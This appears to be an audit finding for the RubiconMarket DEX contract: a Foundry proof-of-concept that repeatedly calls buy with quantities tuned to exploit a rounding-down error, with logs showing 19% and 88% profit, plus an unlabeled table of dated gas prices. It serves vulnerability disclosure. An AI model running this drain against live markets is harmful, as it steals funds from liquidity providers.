File: contracts\RubiconMarket.sol
314:     function buy(
315:         uint256 id,
316:         uint256 quantity
317:     ) public virtual can_buy(id) synchronized returns (bool) {
318:         OfferInfo memory _offer = offers[id];
319:         uint256 spend = mul(quantity, _offer.buy_amt) / _offer.pay_amt; // @audit should round up
...
447:         return true;
448:     }
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../contracts/periphery/TokenWithFaucet.sol";
import "../../contracts/RubiconMarket.sol";
import "forge-std/Test.sol";

contract MockERC20 is ERC20 {
    uint8 private decimals_;

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) ERC20(_name, _symbol) {
        decimals_ = _decimals;
    }

    function decimals() public view override returns (uint8) {
        return decimals_;
    }

    function mint(address account, uint256 amount) external {
        _mint(account, amount * 10 ** decimals_);
    }
}

/// @notice proxy isn't used here
contract AttackOnRoundingError is Test {
  //========================CONSTANTS========================
  address public owner;
  address FEE_TO = 0x0000000000000000000000000000000000000FEE;
  address attacker = address(0x01020304);
  uint256 WBTCOfferId;
  uint256 GUSDOfferId;
  // core contracts
  RubiconMarket market;
  // test tokens
  MockERC20 USDC;
  MockERC20 WBTC;
  MockERC20 GUSD;

  function setUp() public {
    owner = msg.sender;

    // deploy new Market instance and init
    market = new RubiconMarket();
    market.initialize(FEE_TO);
    market.setFeeBPS(10);

    // deploy test tokens
    USDC = new MockERC20("Test Stablecoin", "USDC", 6);
    WBTC = new MockERC20("Wrapped BTC", "WBTC", 8);
    // the top 77th token: https://coinmarketcap.com/currencies/gemini-dollar/ 
    GUSD = new MockERC20("Gemini USD", "GUSD", 2);

    USDC.mint(address(this), 1_000_000);
    USDC.approve(address(market), type(uint256).max);
    // place ask and bid for WBTC/USDC pair at price 30,000 USDC/WBTC
    WBTCOfferId = market.offer(300000e6, USDC, 10e8, WBTC, address(this), owner);

    // place ask and bid for GUSD/USC pair at price 1 USDC/GUSD
    GUSDOfferId = market.offer(300000e6, USDC, 300000e2, GUSD, address(this), owner);


    WBTC.mint(attacker, 10);
    vm.prank(attacker);
    WBTC.approve(address(market), type(uint256).max);

    GUSD.mint(attacker, 100000);
    vm.prank(attacker);
    GUSD.approve(address(market), type(uint256).max);
  }

  function test_AttackOnWBTCPair() public {
    uint256 l2GasCost;
    uint256 USDCReceived;
    uint256 WBTCSent;
    { // stack too deep
      uint256 USDCBalanceBefore = USDC.balanceOf(attacker);
      uint256 WBTCBalanceBefore = WBTC.balanceOf(attacker);

      vm.startPrank(attacker);
      uint256 gasBefore = gasleft();
      for (uint256 i; i < 300; ++i) { // sum of gas can't excess block gas limit of 15M
          market.buy(WBTCOfferId, 599);
      }
      uint256 gasAfter = gasleft();
      vm.stopPrank();
      l2GasCost = gasBefore - gasAfter;
      uint256 USDCBalanceAfter = USDC.balanceOf(attacker);
      USDCReceived = USDCBalanceAfter - USDCBalanceBefore;
      uint256 WBTCBalanceAfter = WBTC.balanceOf(attacker);
      WBTCSent = WBTCBalanceBefore - WBTCBalanceAfter;
    }

    // reference https://dune.com/queries/508560/961244
    uint256 l1GasCost = 4013;
    uint256 l1GasPrice = 4e9;
    uint256 l2GasPrice = 0.001e9;
    uint256 ETHPrice = 2000e6;
    uint256 l1GasCostInUSDC = l1GasCost * l1GasPrice * ETHPrice / 1e18;
    uint256 l2GasCostInUSDC = l2GasCost * l2GasPrice * ETHPrice / 1e18;
    uint256 WBTCCostInUSDC = WBTCSent * 30000e6 / 1e8;
    uint256 totalCostInUSDC = l1GasCostInUSDC + l2GasCostInUSDC + WBTCCostInUSDC;
    uint256 profitInUSDC = USDCReceived - totalCostInUSDC;
    uint256 profitInPercentage = 100 * profitInUSDC / totalCostInUSDC;

    console.log("==========Attack on WBTC pair==========");
    console.log("Given price: 2000 USDC/ETH, 30,000 USDC/BTC");
    console.log("Given L1(Ethereum) gas price: 4 Gwei");
    console.log("Given L2(Optimism) gas price: 0.001 Gwei");
    console.log("Given decimals: WBTC(8), USDC(6)");
    console.log("L1 gas cost:", l1GasCost);
    console.log("L1 gas cost in USDC:", l1GasCostInUSDC);
    console.log("L2 gas cost:", l2GasCost);
    console.log("L2 gas cost in USDC:", l2GasCostInUSDC);
    console.log("WBTC cost:", WBTCSent);
    console.log("WBTC cost in USDC:", WBTCCostInUSDC);
    console.log("Total cost in USDC:", totalCostInUSDC);
    console.log("USDC received:", USDCReceived);
    console.log("Profit in USDC:", profitInUSDC);
    console.log("Profit in percentage:", profitInPercentage, "%");
  }

  function test_AttackOnGUSDPair() public {
    uint256 l2GasCost;
    uint256 USDCReceived;
    uint256 GUSDSent;
    { // stack too deep
      uint256 USDCBalanceBefore = USDC.balanceOf(attacker);
      uint256 GUSDBalanceBefore = GUSD.balanceOf(attacker);

      vm.startPrank(attacker);
      uint256 gasBefore = gasleft();
      for (uint256 i; i < 300; ++i) { // sum of gas can't excess block gas limit of 15M
          market.buy(GUSDOfferId, 19_999);
      }
      uint256 gasAfter = gasleft();
      vm.stopPrank();
      l2GasCost = gasBefore - gasAfter;
      uint256 USDCBalanceAfter = USDC.balanceOf(attacker);
      USDCReceived = USDCBalanceAfter - USDCBalanceBefore;
      uint256 GUSDBalanceAfter = GUSD.balanceOf(attacker);
      GUSDSent = GUSDBalanceBefore - GUSDBalanceAfter;
    }

    // reference https://dune.com/queries/508560/961244
    uint256 l1GasCost = 4013;
    uint256 l1GasPrice = 20e9;
    uint256 l2GasPrice = 0.001e9;
    uint256 ETHPrice = 2000e6;
    uint256 l1GasCostInUSDC = l1GasCost * l1GasPrice * ETHPrice / 1e18;
    uint256 l2GasCostInUSDC = l2GasCost * l2GasPrice * ETHPrice / 1e18;
    uint256 GUSDCostInUSDC = GUSDSent * 1e6 / 1e2;
    uint256 totalCostInUSDC = l1GasCostInUSDC + l2GasCostInUSDC + GUSDCostInUSDC;
    uint256 profitInUSDC = USDCReceived - totalCostInUSDC;
    uint256 profitInPercentage = 100 * profitInUSDC / totalCostInUSDC;

    console.log("==========Attack on GUSD pair==========");
    console.log("Given price: 2000 USDC/ETH, 30,000 USDC/BTC");
    console.log("Given L1(Ethereum) gas price: 20 Gwei");
    console.log("Given L2(Optimism) gas price: 0.001 Gwei");
    console.log("Given decimals: GUSD(2), USDC(6)");
    console.log("L1 gas cost:", l1GasCost);
    console.log("L1 gas cost in USDC:", l1GasCostInUSDC);
    console.log("L2 gas cost:", l2GasCost);
    console.log("L2 gas cost in USDC:", l2GasCostInUSDC);
    console.log("GUSD cost:", GUSDSent);
    console.log("GUSD cost in USDC:", GUSDCostInUSDC);
    console.log("Total cost in USDC:", totalCostInUSDC);
    console.log("USDC received:", USDCReceived);
    console.log("Profit in USDC:", profitInUSDC);
    console.log("Profit in percentage:", profitInPercentage, "%");
  }

}
[PASS] test_AttackOnWBTCPair() (gas: 11427870)
Logs:
  ==========Attack on WBTC pair==========
  Given price: 2000 USDC/ETH, 30,000 USDC/BTC
  Given L1(Ethereum) gas price: 4 Gwei
  Given L2(Optimism) gas price: 0.001 Gwei
  Given decimals: WBTC(8), USDC(6)
  L1 gas cost: 4013
  L1 gas cost in USDC: 32104
  L2 gas cost: 14251627
  L2 gas cost in USDC: 28503
  WBTC cost: 300
  WBTC cost in USDC: 90000
  Total cost in USDC: 150607
  USDC received: 179700
  Profit in USDC: 29093
  Profit in percentage: 19 %
2022/8/21 18:00 | 1.56939
2022/9/19 18:00 | 2.3536
2022/9/17 12:00 | 2.63193
2022/7/31 12:00 | 2.87714
2022/8/21 12:00 | 2.99122
2022/7/31 6:00 | 3.03533
2022/10/5 18:00 | 3.14388
2022/9/4 18:00 | 3.15065
2022/10/2 18:00 | 3.18227
2022/9/4 6:00 | 3.19788
2022/7/31 18:00 | 3.20089
2022/8/1 12:00 | 3.22637
2022/9/4 12:00 | 3.34139
2022/8/20 18:00 | 3.57428
2022/9/18 12:00 | 3.57598
2022/9/22 18:00 | 3.60006
2022/8/14 18:00 | 3.63901
2022/9/18 6:00 | 3.72209
2022/9/12 12:00 | 3.74844
2022/8/29 0:00 | 3.8843
2022/8/21 6:00 | 3.94099
2022/9/25 12:00 | 3.97128
2022/9/21 18:00 | 3.98098
2022/8/6 18:00 | 3.98923
[PASS] test_AttackOnGUSDPair() (gas: 11427889)
Logs:
  ==========Attack on GUSD pair==========
  Given price: 2000 USDC/ETH, 30,000 USDC/BTC
  Given L1(Ethereum) gas price: 20 Gwei
  Given L2(Optimism) gas price: 0.001 Gwei
  Given decimals: GUSD(2), USDC(6)
  L1 gas cost: 4013
  L1 gas cost in USDC: 160520
  L2 gas cost: 14251627
  L2 gas cost in USDC: 28503
  GUSD cost: 300
  GUSD cost in USDC: 3000000
  Total cost in USDC: 3189023
  USDC received: 5999400
  Profit in USDC: 2810377
  Profit in percentage: 88 %
